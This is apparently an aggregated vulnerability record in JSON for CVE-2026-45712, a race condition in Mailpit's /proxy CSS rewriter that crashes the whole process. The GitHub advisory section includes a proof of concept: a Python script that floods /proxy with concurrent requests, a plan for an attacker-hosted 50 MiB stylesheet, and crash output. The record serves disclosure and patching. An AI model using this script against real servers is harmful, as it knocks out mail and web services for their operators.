{"id":"CVE-2026-45712","revision":null,"records":[{"revision":"bf0097008abb42598ef649a21141e275","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-45712","aliases":[],"title":"Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)","description":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it. Version 1.30.0 contains a patch.","state":0,"publishedAt":"2026-07-20T14:59:40.516+00:00","modifiedAt":"2026-07-20T15:33:02.751+00:00","affected":[{"ecosystem":"Vendor product","name":"mailpit","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"axllent\",\n                    \"product\": \"mailpit\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.30.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722","https://github.com/axllent/mailpit/releases/tag/v1.30.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-45712","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-45712","identifiers":["CVE-2026-45712"]},"retained":false,"historicalAffected":[]},{"revision":"102bf93281614eb68c9f6105f8a7e2bd","observedAt":"2026-10-25T12:17:14.897+00:00","statement":{"source":"nvd","id":"CVE-2026-45712","aliases":[],"title":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex whil…","description":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it. Version 1.30.0 contains a patch.","state":0,"publishedAt":"2026-07-20T16:17:00.47+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/axllent/mailpit/releases/tag/v1.30.0","https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45712","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-362","CWE-770"],"productCriteria":["cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-20T16:17:00.470","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-45712","identifiers":["CVE-2026-45712"]},"retained":false,"historicalAffected":[]},{"revision":"d3f8a17743cb465fb485ef92e00f7934","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-w4vj-r5pg-3722","aliases":["CVE-2026-45712","GO-2026-5689"],"title":"Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)","description":"### Summary\nThe screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.\n\n### Details\nA remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.\n\nAffected code\n[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)\n[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)\n[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) \n\nGo's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw(\"concurrent map read and map write\") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.\n\n### PoC\n1. Deposit any message with a <link rel=\"stylesheet\" href=\"https://attacker.example/big.css\"> in the store (SMTP or /api/v1/send, both unauthenticated by default).\n2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.\n\nSkeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):\n\n```\n# proxy-race.py\nimport socket, threading, base64, sys\n\nID = sys.argv[1]                                   # 22-char shortuuid\nCSS = \"https://attacker.example/big.css\"\nTOKEN = base64.b64encode(f\"{ID}:{CSS}\".encode()).decode()\n\nreq = (\n    f\"GET /proxy?data={TOKEN} HTTP/1.1\\r\\n\"\n    f\"Host: target:8025\\r\\n\"\n    f\"Connection: close\\r\\n\\r\\n\"\n).encode()\n\ndef hit():\n    try:\n        s = socket.create_connection((\"target\", 8025), timeout=10)\n        s.sendall(req)\n        while s.recv(8192): pass\n        s.close()\n    except Exception: pass\n\nfor _ in range(50):                                # 50 rounds\n    ts = [threading.Thread(target=hit) for _ in range(300)]\n    for t in ts: t.start()\n    for t in ts: t.join()\n```\n\nWhen the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 123 [running]:\nruntime.throw(...)\ngithub.com/axllent/mailpit/server/handlers.ProxyHandler(...)\n        server/handlers/proxy.go:216\n...\n```\n\n…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.\n\n### Impact\nUnauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).","state":0,"publishedAt":"2026-05-19T15:53:52+00:00","modifiedAt":"2026-09-02T23:45:04.6684012+00:00","affected":[{"ecosystem":"Go","name":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.30.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722","https://nvd.nist.gov/vuln/detail/CVE-2026-45712","https://github.com/axllent/mailpit","https://github.com/axllent/mailpit/releases/tag/v1.30.0"],"sourceUrl":"https://github.com/advisories/GHSA-w4vj-r5pg-3722","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-w4vj-r5pg-3722","identifiers":["GHSA-w4vj-r5pg-3722","CVE-2026-45712","GO-2026-5689"]},"retained":false,"historicalAffected":[]},{"revision":"3501472ee62048928537aecd80b58554","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5689","aliases":["CVE-2026-45712","GHSA-w4vj-r5pg-3722"],"title":"Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write) in github.com/axllent/mailpit","description":"Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write) in github.com/axllent/mailpit","state":0,"publishedAt":"2026-06-25T22:34:38+00:00","modifiedAt":"2026-06-25T23:01:28.0310277+00:00","affected":[{"ecosystem":"Go","name":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.30.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722","https://github.com/axllent/mailpit/releases/tag/v1.30.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5689","license":"OSV · upstream source license applies","key":"osv:GO-2026-5689","identifiers":["GO-2026-5689","CVE-2026-45712","GHSA-w4vj-r5pg-3722"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T04:24:29.5120624+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. 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